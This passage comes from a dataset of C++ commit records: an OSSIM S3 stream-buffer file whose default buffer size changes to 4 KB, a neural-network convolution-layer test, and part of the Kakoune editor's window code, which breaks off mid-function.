\"Exception:\" << endl;\n        cout << s;\n        return 1;\n    }\n    catch (char * s) {\n        cout << \"Exception: \" << s << endl;\n        return 1;\n    }\n    catch (...) {\n        cout << \"received an exception\" << endl;\n        return 1;\n    }\n\n    ::zippylog::shutdown_library();\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"ossimS3StreamBuffer.h\"\n\n#include <aws\/s3\/model\/PutObjectRequest.h>\n#include <aws\/s3\/model\/GetObjectRequest.h>\n#include <aws\/s3\/model\/GetObjectResult.h>\n#include <aws\/s3\/model\/HeadObjectRequest.h>\n\n#include <aws\/core\/Aws.h>\n#include <aws\/core\/utils\/memory\/stl\/AWSStringStream.h> \n#include <iostream>\n#include <ossim\/base\/ossimUrl.h>\n\/\/static const char* KEY = \"test-file.txt\";\n\/\/static const char* BUCKET = \"ossimlabs\";\n#include <cstdio> \/* for EOF *\/\n#include <streambuf>\n#include <sstream>\n#include <iosfwd>\n#include <ios>\n#include <vector>\n#include <cstring> \/* for memcpy *\/\n\nusing namespace Aws::S3;\nusing namespace Aws::S3::Model;\n\nossim::S3StreamBuffer::S3StreamBuffer()\n:\n  m_bucket(\"\"),\n  m_key(\"\"),\n  m_buffer(1024*1024),\n  m_bufferActualDataSize(0),\n  m_currentPosition(-1),\n  m_bufferPtr(0),\n  m_currentPtr(0),\n  m_fileSize(0),\n  m_opened(false),\n  m_mode(0)\n{\n\/\/    std::cout << \"CONSTRUCTED!!!!!\" << std::endl;\n\/\/  setp(0);\n  setg(m_currentPtr, m_currentPtr, m_currentPtr);\n}\n\nossim_int64 ossim::S3StreamBuffer::getBlockIndex(ossim_int64 byteOffset)const\n{\n  ossim_int64 blockNumber = -1;\n  \n  if(byteOffset < m_fileSize)\n  {\n    if(m_buffer.size()>0)\n    {\n      blockNumber = byteOffset\/m_buffer.size();\n    }    \n  }\n\n  return blockNumber;\n}\n\nossim_int64 ossim::S3StreamBuffer::getBlockOffset(ossim_int64 byteOffset)const\n{\n  ossim_int64 blockOffset = -1;\n  \n  if(m_buffer.size()>0)\n  {\n    blockOffset = byteOffset%m_buffer.size();\n  }    \n\n  return blockOffset;\n}\n\nbool ossim::S3StreamBuffer::getBlockRangeInBytes(ossim_int64 blockIndex, \n  ossim_int64& startRange, \n  ossim_int64& endRange)const\n{\n  bool result = false;\n\n  if(blockIndex >= 0)\n  {\n    startRange = blockIndex*m_buffer.size();\n    endRange = startRange + m_buffer.size()-1;\n\n    result = true;    \n  }\n\n  return result;\n}\n\nbool ossim::S3StreamBuffer::loadBlock(ossim_int64 blockIndex)\n{\n    bool result = false;\n    m_bufferPtr = 0;\n    m_currentPtr = 0;\n    GetObjectRequest getObjectRequest;\n    std::stringstream stringStream;\n    ossim_int64 startRange, endRange;\n    if(getBlockRangeInBytes(blockIndex, startRange, endRange))\n    {\n      stringStream << \"bytes=\" << startRange << \"-\" << endRange;\n      getObjectRequest.WithBucket(m_bucket.c_str())\n          .WithKey(m_key.c_str()).WithRange(stringStream.str().c_str());\n      auto getObjectOutcome = m_client.GetObject(getObjectRequest);\n\n      if(getObjectOutcome.IsSuccess())\n      {\n\/\/        std::cout << \"GOOD CALL!!!!!!!!!!!!\\n\";\n        Aws::IOStream& bodyStream = getObjectOutcome.GetResult().GetBody();\n        ossim_uint64 bufSize = getObjectOutcome.GetResult().GetContentLength();\n\/\/        std::cout << \"SIZE OF RESULT ======== \" << bufSize << std::endl;\n        m_bufferActualDataSize = bufSize;\n        bodyStream.read(&m_buffer.front(), bufSize);\n        m_bufferPtr = &m_buffer.front();\n        m_currentPtr = m_bufferPtr;\n\n        if(m_currentPosition>=0)\n        {\n          ossim_int64 delta = m_currentPosition-startRange;\n          setg(m_bufferPtr, m_bufferPtr + delta, m_bufferPtr+m_bufferActualDataSize);\n        }\n        else\n        {\n          setg(m_bufferPtr, m_bufferPtr, m_bufferPtr + m_bufferActualDataSize);\n          m_currentPosition = startRange;\n        }\n        result = true;\n          \/\/std::cout << \"Successfully retrieved object from s3 with value: \" << std::endl;\n          \/\/std::cout << getObjectOutcome.GetResult().GetBody().rdbuf() << std::endl << std::endl;;  \n      }\n    }\n\n    return result;\n}\n\nossim::S3StreamBuffer* ossim::S3StreamBuffer::open (const char* connectionString,  \n                                                    std::ios_base::openmode m)\n{\n  std::string temp(connectionString);\n  return open(temp, m);\n}\n\nossim::S3StreamBuffer* ossim::S3StreamBuffer::open (const std::string& connectionString, \n                                                    std::ios_base::openmode mode)\n{\n  bool result = false;\n  ossimUrl url(connectionString);\n  clearAll();\n  m_mode = mode;\n\n  if(url.getProtocol() == \"s3\")\n  {\n    m_bucket = url.getIp().c_str();\n    m_key = url.getPath().c_str();\n\n    if(!m_bucket.empty() && !m_key.empty())\n    {\n      HeadObjectRequest headObjectRequest;\n      headObjectRequest.WithBucket(m_bucket.c_str())\n          .WithKey(m_key.c_str());\n      auto headObject = m_client.HeadObject(headObjectRequest);\n      if(headObject.IsSuccess())\n      {\n        m_fileSize = headObject.GetResult().GetContentLength();\n        m_opened = true;\n      }\n    }\n  }\n\n  if(m_opened) return this;\n\n  return 0;\n}\n\n\n\nvoid ossim::S3StreamBuffer::clearAll()\n{\n  m_bucket = \"\";\n  m_key    = \"\";\n  m_currentPtr = 0;\n  m_fileSize = 0;\n  m_opened = false;\n\n}\n\n\nint ossim::S3StreamBuffer::underflow()\n{\n  if((!gptr())&&is_open())\n  {\n    if(m_currentPosition >= 0)\n    {\n      loadBlock(getBlockIndex(m_currentPosition));\n    }\n    else\n    {\n      loadBlock(0);\n    }\n\n    if(!gptr())\n    {\n      return EOF;\n    }\n  }\n  else if(!is_open())\n  {\n    return EOF;\n  }\n  else if(egptr() == gptr())\n  {\n    m_currentPosition += m_buffer.size();\n    if(m_currentPosition < m_fileSize)\n    {\n      if(!loadBlock(getBlockIndex(m_currentPosition)))\n      {\n        return EOF;\n      }\n    }\n    else\n    {\n     \/\/ std::cout << \"SHOULD BE EOF RETURNED\\n\";\n      return EOF;\n    }\n  }\n\n\/\/  std::cout << \"GPTR CHARACTER ========== \" << (int)(*gptr()) << std::endl;\n  return (int)(*gptr());\n}\n#if 0\nint ossim::S3StreamBuffer::uflow()\n{\n \/\/ std::cout << \"ossim::S3StreamBuffer::uflow()\\n\";\n\n  int result = underflow();\n\n  if(result != EOF)\n  {\n    result = (int) (*gptr());\n    ++m_currentPosition;\n    pbump(1);\n\n  }\n\n  return result;\n}\n#endif\nossim::S3StreamBuffer::pos_type ossim::S3StreamBuffer::seekoff(off_type offset, \n                                                               std::ios_base::seekdir dir,\n                                                               std::ios_base::openmode mode)\n{ \n\/\/  std::cout << \"ossim::S3StreamBuffer::seekoff\\n\";\n  pos_type result = pos_type(off_type(-1));\n  bool withinBlock = true;\n  if((mode & std::ios_base::in)&&\n    (mode & std::ios_base::out))\n  {\n    return result;\n  }\n  switch(dir)\n  {\n    case std::ios_base::beg:\n    {\n      \/\/ if we are determing an absolute position from the beginning then \n      \/\/ just make sure the offset is within range of the current buffer size\n      \/\/\n      if((offset < m_fileSize)&&\n         (offset >=0))\n      {\n         result = pos_type(offset);\n      }\n      break;\n    }\n    case std::ios_base::cur:\n    {\n      ossim_int64 testOffset = m_currentPosition + offset;\n      if((testOffset >= 0)||(testOffset<m_fileSize))\n      {\n        result = testOffset;\n      }\n\n      break;\n    }\n    case std::ios_base::end:\n    {\n      ossim_int64 testOffset = m_fileSize - offset;\n\n      if((testOffset >= 0)||(testOffset<m_fileSize))\n      {\n        result = testOffset;\n      }      \n\n      break;\n    }\n    default:\n    {\n       break;\n    }\n  }\n  if(m_currentPosition != result)\n  {\n    adjustForSeekgPosition(result);\n  }\n\n  return result; \n} \n\nossim::S3StreamBuffer::pos_type ossim::S3StreamBuffer::seekpos(pos_type pos, std::ios_base::openmode mode)\n{\n\/\/  std::cout << \"ossim::S3StreamBuffer::seekpos\\n\";\n   pos_type result = pos_type(off_type(-1));\n   if(mode & std::ios_base::in)\n   {\n      if(pos >= 0)\n      {\n         if(pos < m_fileSize)\n         {\n            result = pos;\n         }\n      }\n      adjustForSeekgPosition(result);\n   }\n\n   return result;\n}\n\nvoid ossim::S3StreamBuffer::adjustForSeekgPosition(ossim_int64 seekPosition)\n{\n  if(seekPosition >= 0)\n  {\n    ossim_int64 testPosition = static_cast<ossim_int64> (seekPosition);\n\n    if(m_currentPosition >= 0 )\n    {\n      ossim_int64 blockIndex1 = getBlockIndex(testPosition);\n      ossim_int64 blockIndex2 = getBlockIndex(m_currentPosition);\n\n      if(blockIndex1 != blockIndex2)\n      {\n        m_bufferPtr = m_currentPtr = 0;\n\n        \/\/ clear out the pointers and force a load on next read\n        setg(m_bufferPtr, m_bufferPtr, m_bufferPtr);\n        m_currentPosition = seekPosition;\n      }\n      else\n      {\n        ossim_int64 startOffset, endOffset;\n        ossim_int64 delta;\n        getBlockRangeInBytes(blockIndex1, startOffset, endOffset);\n        delta = testPosition-startOffset;\n        m_currentPosition = testPosition;\n        setg(m_bufferPtr, m_bufferPtr+delta, m_bufferPtr+m_buffer.size());\n      }\n    }\n    else\n    {\n      m_bufferPtr = m_currentPtr = 0;\n      m_currentPosition = seekPosition;\n      setg(m_bufferPtr, m_bufferPtr, m_bufferPtr);\n    }\n  }\n  else\n  {\n    if(m_currentPosition < 0)\n    {\n      m_bufferPtr = m_currentPtr = 0;\n      setg(m_bufferPtr, m_bufferPtr, m_bufferPtr);\n    }\n  }\n}\n\nstd::streamsize ossim::S3StreamBuffer::xsgetn(char_type* s, std::streamsize n)\n{      \n\/\/  std::cout << \"ossim::S3StreamBuffer::xsgetn\" << std::endl;\n\n  if(!is_open()) return EOF;\n   \/\/ unsigned long int bytesLeftToRead = egptr()-gptr();\n  \/\/ initialize if we need to to load the block at current position\n  if((egptr()==gptr())&&is_open())\n  {\n    if(m_currentPosition >= 0)\n    {\n      loadBlock(getBlockIndex(m_currentPosition));\n    }\n    else\n    {\n      loadBlock(0);\n    }\n  }\n  ossim_int64 bytesNeedToRead = n;\n  ossim_int64 bytesToRead = 0;\n  ossim_int64 bytesRead = 0;\n  ossim_int64 startOffset, endOffset;\n  if(m_currentPosition >= m_fileSize)\n  {\n    return EOF;\n  }\n  else if((m_currentPosition + bytesNeedToRead)>(m_fileSize))\n  {\n    bytesNeedToRead = (m_fileSize - m_currentPosition);\n  }\n\n  while(bytesNeedToRead > 0)\n  {\n    if(egptr()==gptr())\n    {\n      \/\/ load next block\n      if(m_currentPosition < m_fileSize)\n      {\n        if(!loadBlock(getBlockIndex(m_currentPosition)))\n        {\n          return bytesRead;\n        }\n      }\n      else\n      {\n        return bytesRead;\n      }\n    }\n\n    \/\/ get each bloc  \n    if(m_currentPosition>=0)\n    {\n      \/\/getBlockRangeInBytes(getBlockIndex(m_currentPosition), startOffset, endOffset);      \n    \n      ossim_int64 delta = (egptr()-gptr());\/\/(endOffset - m_currentPosition)+1;\n\n      if(delta <= bytesNeedToRead)\n      {\n        std::memcpy(s+bytesRead, gptr(), delta);\n        m_currentPosition += delta;\n        setg(eback(), egptr(), egptr());\n        bytesRead+=delta;\n        bytesNeedToRead-=delta;\n      }\n      else\n      {\n        std::memcpy(s+bytesRead, gptr(), bytesNeedToRead);\n        m_currentPosition += bytesNeedToRead;\n        setg(eback(), gptr()+bytesNeedToRead, egptr());\n        bytesRead+=bytesNeedToRead;\n        bytesNeedToRead=0;\n      }\n    }\n    else\n    {\n      break;\n    }\n  }\n  return std::streamsize(bytesRead);\n}\n<commit_msg>Changed default buffer to be 4k.  Probably be better to have 1 meg blocksize<commit_after>#include \"ossimS3StreamBuffer.h\"\n\n#include <aws\/s3\/model\/PutObjectRequest.h>\n#include <aws\/s3\/model\/GetObjectRequest.h>\n#include <aws\/s3\/model\/GetObjectResult.h>\n#include <aws\/s3\/model\/HeadObjectRequest.h>\n\n#include <aws\/core\/Aws.h>\n#include <aws\/core\/utils\/memory\/stl\/AWSStringStream.h> \n#include <iostream>\n#include <ossim\/base\/ossimUrl.h>\n\/\/static const char* KEY = \"test-file.txt\";\n\/\/static const char* BUCKET = \"ossimlabs\";\n#include <cstdio> \/* for EOF *\/\n#include <streambuf>\n#include <sstream>\n#include <iosfwd>\n#include <ios>\n#include <vector>\n#include <cstring> \/* for memcpy *\/\n\nusing namespace Aws::S3;\nusing namespace Aws::S3::Model;\n\nossim::S3StreamBuffer::S3StreamBuffer()\n:\n  m_bucket(\"\"),\n  m_key(\"\"),\n  m_buffer(4096),\n  m_bufferActualDataSize(0),\n  m_currentPosition(-1),\n  m_bufferPtr(0),\n  m_currentPtr(0),\n  m_fileSize(0),\n  m_opened(false),\n  m_mode(0)\n{\n\/\/    std::cout << \"CONSTRUCTED!!!!!\" << std::endl;\n\/\/  setp(0);\n  setg(m_currentPtr, m_currentPtr, m_currentPtr);\n}\n\nossim_int64 ossim::S3StreamBuffer::getBlockIndex(ossim_int64 byteOffset)const\n{\n  ossim_int64 blockNumber = -1;\n  \n  if(byteOffset < m_fileSize)\n  {\n    if(m_buffer.size()>0)\n    {\n      blockNumber = byteOffset\/m_buffer.size();\n    }    \n  }\n\n  return blockNumber;\n}\n\nossim_int64 ossim::S3StreamBuffer::getBlockOffset(ossim_int64 byteOffset)const\n{\n  ossim_int64 blockOffset = -1;\n  \n  if(m_buffer.size()>0)\n  {\n    blockOffset = byteOffset%m_buffer.size();\n  }    \n\n  return blockOffset;\n}\n\nbool ossim::S3StreamBuffer::getBlockRangeInBytes(ossim_int64 blockIndex, \n  ossim_int64& startRange, \n  ossim_int64& endRange)const\n{\n  bool result = false;\n\n  if(blockIndex >= 0)\n  {\n    startRange = blockIndex*m_buffer.size();\n    endRange = startRange + m_buffer.size()-1;\n\n    result = true;    \n  }\n\n  return result;\n}\n\nbool ossim::S3StreamBuffer::loadBlock(ossim_int64 blockIndex)\n{\n    bool result = false;\n    m_bufferPtr = 0;\n    m_currentPtr = 0;\n    GetObjectRequest getObjectRequest;\n    std::stringstream stringStream;\n    ossim_int64 startRange, endRange;\n    if(getBlockRangeInBytes(blockIndex, startRange, endRange))\n    {\n      stringStream << \"bytes=\" << startRange << \"-\" << endRange;\n      getObjectRequest.WithBucket(m_bucket.c_str())\n          .WithKey(m_key.c_str()).WithRange(stringStream.str().c_str());\n      auto getObjectOutcome = m_client.GetObject(getObjectRequest);\n\n      if(getObjectOutcome.IsSuccess())\n      {\n\/\/        std::cout << \"GOOD CALL!!!!!!!!!!!!\\n\";\n        Aws::IOStream& bodyStream = getObjectOutcome.GetResult().GetBody();\n        ossim_uint64 bufSize = getObjectOutcome.GetResult().GetContentLength();\n\/\/        std::cout << \"SIZE OF RESULT ======== \" << bufSize << std::endl;\n        m_bufferActualDataSize = bufSize;\n        bodyStream.read(&m_buffer.front(), bufSize);\n        m_bufferPtr = &m_buffer.front();\n        m_currentPtr = m_bufferPtr;\n\n        if(m_currentPosition>=0)\n        {\n          ossim_int64 delta = m_currentPosition-startRange;\n          setg(m_bufferPtr, m_bufferPtr + delta, m_bufferPtr+m_bufferActualDataSize);\n        }\n        else\n        {\n          setg(m_bufferPtr, m_bufferPtr, m_bufferPtr + m_bufferActualDataSize);\n          m_currentPosition = startRange;\n        }\n        result = true;\n          \/\/std::cout << \"Successfully retrieved object from s3 with value: \" << std::endl;\n          \/\/std::cout << getObjectOutcome.GetResult().GetBody().rdbuf() << std::endl << std::endl;;  \n      }\n    }\n\n    return result;\n}\n\nossim::S3StreamBuffer* ossim::S3StreamBuffer::open (const char* connectionString,  \n                                                    std::ios_base::openmode m)\n{\n  std::string temp(connectionString);\n  return open(temp, m);\n}\n\nossim::S3StreamBuffer* ossim::S3StreamBuffer::open (const std::string& connectionString, \n                                                    std::ios_base::openmode mode)\n{\n  bool result = false;\n  ossimUrl url(connectionString);\n  clearAll();\n  m_mode = mode;\n\n  if(url.getProtocol() == \"s3\")\n  {\n    m_bucket = url.getIp().c_str();\n    m_key = url.getPath().c_str();\n\n    if(!m_bucket.empty() && !m_key.empty())\n    {\n      HeadObjectRequest headObjectRequest;\n      headObjectRequest.WithBucket(m_bucket.c_str())\n          .WithKey(m_key.c_str());\n      auto headObject = m_client.HeadObject(headObjectRequest);\n      if(headObject.IsSuccess())\n      {\n        m_fileSize = headObject.GetResult().GetContentLength();\n        m_opened = true;\n      }\n    }\n  }\n\n  if(m_opened) return this;\n\n  return 0;\n}\n\n\n\nvoid ossim::S3StreamBuffer::clearAll()\n{\n  m_bucket = \"\";\n  m_key    = \"\";\n  m_currentPtr = 0;\n  m_fileSize = 0;\n  m_opened = false;\n\n}\n\n\nint ossim::S3StreamBuffer::underflow()\n{\n  if((!gptr())&&is_open())\n  {\n    if(m_currentPosition >= 0)\n    {\n      loadBlock(getBlockIndex(m_currentPosition));\n    }\n    else\n    {\n      loadBlock(0);\n    }\n\n    if(!gptr())\n    {\n      return EOF;\n    }\n  }\n  else if(!is_open())\n  {\n    return EOF;\n  }\n  else if(egptr() == gptr())\n  {\n    m_currentPosition += m_buffer.size();\n    if(m_currentPosition < m_fileSize)\n    {\n      if(!loadBlock(getBlockIndex(m_currentPosition)))\n      {\n        return EOF;\n      }\n    }\n    else\n    {\n     \/\/ std::cout << \"SHOULD BE EOF RETURNED\\n\";\n      return EOF;\n    }\n  }\n\n\/\/  std::cout << \"GPTR CHARACTER ========== \" << (int)(*gptr()) << std::endl;\n  return (int)(*gptr());\n}\n#if 0\nint ossim::S3StreamBuffer::uflow()\n{\n \/\/ std::cout << \"ossim::S3StreamBuffer::uflow()\\n\";\n\n  int result = underflow();\n\n  if(result != EOF)\n  {\n    result = (int) (*gptr());\n    ++m_currentPosition;\n    pbump(1);\n\n  }\n\n  return result;\n}\n#endif\nossim::S3StreamBuffer::pos_type ossim::S3StreamBuffer::seekoff(off_type offset, \n                                                               std::ios_base::seekdir dir,\n                                                               std::ios_base::openmode mode)\n{ \n\/\/  std::cout << \"ossim::S3StreamBuffer::seekoff\\n\";\n  pos_type result = pos_type(off_type(-1));\n  bool withinBlock = true;\n  if((mode & std::ios_base::in)&&\n    (mode & std::ios_base::out))\n  {\n    return result;\n  }\n  switch(dir)\n  {\n    case std::ios_base::beg:\n    {\n      \/\/ if we are determing an absolute position from the beginning then \n      \/\/ just make sure the offset is within range of the current buffer size\n      \/\/\n      if((offset < m_fileSize)&&\n         (offset >=0))\n      {\n         result = pos_type(offset);\n      }\n      break;\n    }\n    case std::ios_base::cur:\n    {\n      ossim_int64 testOffset = m_currentPosition + offset;\n      if((testOffset >= 0)||(testOffset<m_fileSize))\n      {\n        result = testOffset;\n      }\n\n      break;\n    }\n    case std::ios_base::end:\n    {\n      ossim_int64 testOffset = m_fileSize - offset;\n\n      if((testOffset >= 0)||(testOffset<m_fileSize))\n      {\n        result = testOffset;\n      }      \n\n      break;\n    }\n    default:\n    {\n       break;\n    }\n  }\n  if(m_currentPosition != result)\n  {\n    adjustForSeekgPosition(result);\n  }\n\n  return result; \n} \n\nossim::S3StreamBuffer::pos_type ossim::S3StreamBuffer::seekpos(pos_type pos, std::ios_base::openmode mode)\n{\n\/\/  std::cout << \"ossim::S3StreamBuffer::seekpos\\n\";\n   pos_type result = pos_type(off_type(-1));\n   if(mode & std::ios_base::in)\n   {\n      if(pos >= 0)\n      {\n         if(pos < m_fileSize)\n         {\n            result = pos;\n         }\n      }\n      adjustForSeekgPosition(result);\n   }\n\n   return result;\n}\n\nvoid ossim::S3StreamBuffer::adjustForSeekgPosition(ossim_int64 seekPosition)\n{\n  if(seekPosition >= 0)\n  {\n    ossim_int64 testPosition = static_cast<ossim_int64> (seekPosition);\n\n    if(m_currentPosition >= 0 )\n    {\n      ossim_int64 blockIndex1 = getBlockIndex(testPosition);\n      ossim_int64 blockIndex2 = getBlockIndex(m_currentPosition);\n\n      if(blockIndex1 != blockIndex2)\n      {\n        m_bufferPtr = m_currentPtr = 0;\n\n        \/\/ clear out the pointers and force a load on next read\n        setg(m_bufferPtr, m_bufferPtr, m_bufferPtr);\n        m_currentPosition = seekPosition;\n      }\n      else\n      {\n        ossim_int64 startOffset, endOffset;\n        ossim_int64 delta;\n        getBlockRangeInBytes(blockIndex1, startOffset, endOffset);\n        delta = testPosition-startOffset;\n        m_currentPosition = testPosition;\n        setg(m_bufferPtr, m_bufferPtr+delta, m_bufferPtr+m_buffer.size());\n      }\n    }\n    else\n    {\n      m_bufferPtr = m_currentPtr = 0;\n      m_currentPosition = seekPosition;\n      setg(m_bufferPtr, m_bufferPtr, m_bufferPtr);\n    }\n  }\n  else\n  {\n    if(m_currentPosition < 0)\n    {\n      m_bufferPtr = m_currentPtr = 0;\n      setg(m_bufferPtr, m_bufferPtr, m_bufferPtr);\n    }\n  }\n}\n\nstd::streamsize ossim::S3StreamBuffer::xsgetn(char_type* s, std::streamsize n)\n{      \n\/\/  std::cout << \"ossim::S3StreamBuffer::xsgetn\" << std::endl;\n\n  if(!is_open()) return EOF;\n   \/\/ unsigned long int bytesLeftToRead = egptr()-gptr();\n  \/\/ initialize if we need to to load the block at current position\n  if((egptr()==gptr())&&is_open())\n  {\n    if(m_currentPosition >= 0)\n    {\n      loadBlock(getBlockIndex(m_currentPosition));\n    }\n    else\n    {\n      loadBlock(0);\n    }\n  }\n  ossim_int64 bytesNeedToRead = n;\n  ossim_int64 bytesToRead = 0;\n  ossim_int64 bytesRead = 0;\n  ossim_int64 startOffset, endOffset;\n  if(m_currentPosition >= m_fileSize)\n  {\n    return EOF;\n  }\n  else if((m_currentPosition + bytesNeedToRead)>(m_fileSize))\n  {\n    bytesNeedToRead = (m_fileSize - m_currentPosition);\n  }\n\n  while(bytesNeedToRead > 0)\n  {\n    if(egptr()==gptr())\n    {\n      \/\/ load next block\n      if(m_currentPosition < m_fileSize)\n      {\n        if(!loadBlock(getBlockIndex(m_currentPosition)))\n        {\n          return bytesRead;\n        }\n      }\n      else\n      {\n        return bytesRead;\n      }\n    }\n\n    \/\/ get each bloc  \n    if(m_currentPosition>=0)\n    {\n      \/\/getBlockRangeInBytes(getBlockIndex(m_currentPosition), startOffset, endOffset);      \n    \n      ossim_int64 delta = (egptr()-gptr());\/\/(endOffset - m_currentPosition)+1;\n\n      if(delta <= bytesNeedToRead)\n      {\n        std::memcpy(s+bytesRead, gptr(), delta);\n        m_currentPosition += delta;\n        setg(eback(), egptr(), egptr());\n        bytesRead+=delta;\n        bytesNeedToRead-=delta;\n      }\n      else\n      {\n        std::memcpy(s+bytesRead, gptr(), bytesNeedToRead);\n        m_currentPosition += bytesNeedToRead;\n        setg(eback(), gptr()+bytesNeedToRead, egptr());\n        bytesRead+=bytesNeedToRead;\n        bytesNeedToRead=0;\n      }\n    }\n    else\n    {\n      break;\n    }\n  }\n  return std::streamsize(bytesRead);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <NeuralNetwork\/NeuralLayer\/ConvolutionLayer.h>\n#include <NeuralNetwork\/NeuralLayer\/NeuralLayer.h>\n#include <NeuralNetwork\/Neuron\/ActivationFunction\/SigmoidFunction.h>\n#include <NeuralNetwork\/Neuron\/Neuron.h>\n\n#include <range\/v3\/all.hpp>\n\n#define CATCH_CONFIG_NO_CPP17_UNCAUGHT_EXCEPTIONS\n#include <catch.hpp>\n\nnamespace {\n    template< typename Neuron >\n    bool hasValidInputs(const Neuron& neuron, const std::vector< float >& expected) {\n        for(int i = 0; i < expected.size(); i++) {\n            if(neuron[i].value != expected[i])\n                return false;\n        }\n\n        return true;\n    }\n} \/\/ namespace\n\nSCENARIO(\"Perceptron calculation with convolution layer\",\n         \"[perceptron][convolution][forward]\") {\n    GIVEN(\n     \"A convolution layer with  the given set of connections:\\n\"\n     \"[0-5]->0,\\n\"\n     \"[2-7]->2,\\n\"\n     \"[4-9]->3,\\n\"\n     \"[6-10]->4\") {\n        using ConvolutionLayer =\n         nn::ConvolutionLayer< nn::NeuralLayer< nn::Neuron, nn::SigmoidFunction, 4, 10 >,\n                               nn::Connection< nn::InputRange< 0, 5 >, 0 >,\n                               nn::Connection< nn::InputRange< 2, 7 >, 1 >,\n                               nn::Connection< nn::InputRange< 4, 9 >, 2 >,\n                               nn::Connection< nn::InputRange< 6, 10 >, 3 > >;\n\n        WHEN(\"Input is [0,1,2,3,4,5,6,7,8,9]\") {\n            ConvolutionLayer layer;\n            for(const auto input : ranges::v3::view::ints(0, 10)) {\n                layer.setInput(input, input);\n            }\n            THEN(\n             \"neuron 0 has inputs = [0,1,2,3,4,0,0,0,0,0]\\n\"\n             \"neuron 1 has inputs = [0,0,2,3,4,5,6,0,0,0]\\n\"\n             \"neuron 2 has inputs = [0,0,0,0,4,5,6,7,8,0]\\n\"\n             \"neuron 3 has inputs = [0,0,0,0,0,0,6,7,8,9]\\n\") {\n                std::vector< std::vector< float > > inputs = {\n                 {0, 1, 2, 3, 4, 0, 0, 0, 0, 0},\n                 {0, 0, 2, 3, 4, 5, 6, 0, 0, 0},\n                 {0, 0, 0, 0, 4, 5, 6, 7, 8, 0},\n                 {0, 0, 0, 0, 0, 0, 6, 7, 8, 9}};\n\n                for(const auto id : ranges::v3::view::ints(0, 4)) {\n                    REQUIRE(hasValidInputs(layer[id], inputs[id]));\n                }\n            }\n        }\n    }\n}<commit_msg>Fix test<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"window.hh\"\n\n#include \"assert.hh\"\n#include \"context.hh\"\n#include \"highlighter.hh\"\n#include \"hook_manager.hh\"\n#include \"input_handler.hh\"\n#include \"user_interface.hh\"\n\n#include <algorithm>\n#include <sstream>\n\nnamespace Kakoune\n{\n\n\/\/ Implementation in highlighters.cc\nvoid highlight_selections(const Context& context, HighlightFlags flags, DisplayBuffer& display_buffer, BufferRange range);\nvoid expand_tabulations(const Context& context, HighlightFlags flags, DisplayBuffer& display_buffer, BufferRange range);\nvoid expand_unprintable(const Context& context, HighlightFlags flags, DisplayBuffer& display_buffer, BufferRange range);\n\nWindow::Window(Buffer& buffer)\n    : Scope(buffer),\n      m_buffer(&buffer)\n{\n    run_hook_in_own_context(\"WinCreate\", buffer.name());\n\n    options().register_watcher(*this);\n\n    m_builtin_highlighters.add_child({\"tabulations\"_str, make_simple_highlighter(expand_tabulations)});\n    m_builtin_highlighters.add_child({\"unprintable\"_str, make_simple_highlighter(expand_unprintable)});\n    m_builtin_highlighters.add_child({\"selections\"_str,  make_simple_highlighter(highlight_selections)});\n\n    for (auto& option : options().flatten_options())\n        on_option_changed(*option);\n}\n\nWindow::~Window()\n{\n    run_hook_in_own_context(\"WinClose\", buffer().name());\n    options().unregister_watcher(*this);\n}\n\nvoid Window::display_line_at(LineCount buffer_line, LineCount display_line)\n{\n    if (display_line >= 0 or display_line < m_dimensions.line)\n        m_position.line = std::max(0_line, buffer_line - display_line);\n}\n\nvoid Window::center_line(LineCount buffer_line)\n{\n    display_line_at(buffer_line, m_dimensions.line\/2_line);\n}\n\nvoid Window::scroll(LineCount offset)\n{\n    m_position.line = std::max(0_line, m_position.line + offset);\n}\n\nvoid Window::scroll(CharCount offset)\n{\n    m_position.column = std::max(0_char, m_position.column + offset);\n}\n\nsize_t Window::compute_hash(const Context& context) const\n{\n    size_t res = hash_values(m_position, context.ui().dimensions(), context.buffer().timestamp());\n\n    auto& selections = context.selections();\n    res = combine_hash(res, hash_value(selections.main_index()));\n    for (auto& sel : selections)\n        res = combine_hash(res, hash_values((const ByteCoord&)sel.cursor(), sel.anchor()));\n\n    return res;\n}\n\nbool Window::needs_redraw(const Context& context) const\n{\n    size_t hash = compute_hash(context);\n    return hash != m_hash;\n}\n\nconst DisplayBuffer& Window::update_display_buffer(const Context& context)\n{\n    DisplayBuffer::LineList& lines = m_display_buffer.lines();\n    lines.clear();\n\n    m_dimensions = context.ui().dimensions();\n    if (m_dimensions == CharCoord{0,0})\n        return m_display_buffer;\n\n    kak_assert(&buffer() == &context.buffer());\n    scroll_to_keep_selection_visible_ifn(context);\n\n    for (LineCount line = 0; line < m_dimensions.line; ++line)\n    {\n        LineCount buffer_line = m_position.line + line;\n        if (buffer_line >= buffer().line_count())\n            break;\n        lines.emplace_back(AtomList{ {buffer(), buffer_line, buffer_line+1} });\n    }\n\n    m_display_buffer.compute_range();\n    BufferRange range{{0,0}, buffer().end_coord()};\n    m_highlighters.highlight(context, HighlightFlags::Highlight, m_display_buffer, range);\n    m_builtin_highlighters.highlight(context, HighlightFlags::Highlight, m_display_buffer, range);\n\n    \/\/ cut the start of the line before m_position.column\n    for (auto& line : lines)\n        line.trim(m_position.column, m_dimensions.column, true);\n    m_display_buffer.optimize();\n\n    m_hash = compute_hash(context);\n\n    return m_display_buffer;\n}\n\nvoid Window::set_position(CharCoord position)\n{\n    m_position.line = std::max(0_line, position.line);\n    m_position.column = std::max(0_char, position.column);\n}\n\nvoid Window::set_dimensions(CharCoord dimensions)\n{\n    m_dimensions = dimensions;\n}\n\nstatic LineCount adapt_view_pos(LineCount line, LineCount offset,\n                                LineCount view_pos, LineCount view_size,\n                                LineCount buffer_size)\n{\n    if (line - offset < view_pos)\n        return std::max(0_line, line - offset);\n    else if (line + offset >= view_pos + view_size)\n        return std::max(0_line, std::min(buffer_size - view_size,\n                                         line + offset - (view_size - 1)));\n    return view_pos;\n}\n\nstatic CharCount adapt_view_pos(const DisplayBuffer& display_buffer, CharCount offset,\n                                ByteCoord pos, CharCount view_pos, CharCount view_size)\n{\n    CharCount buffer_column = 0;\n    CharCount non_buffer_column = 0;\n    for (auto& line : display_buffer.lines())\n    {\n        for (auto& atom : line)\n        {\n            if (atom.has_buffer_range())\n            {\n                if (atom.begin() <= pos and atom.end() > pos)\n                {\n                    CharCount pos_beg, pos_end;\n                    if (atom.type() == DisplayAtom::BufferRange)\n                    {\n                        auto& buf = atom.buffer();\n                        pos_beg = buffer_column\n                                + 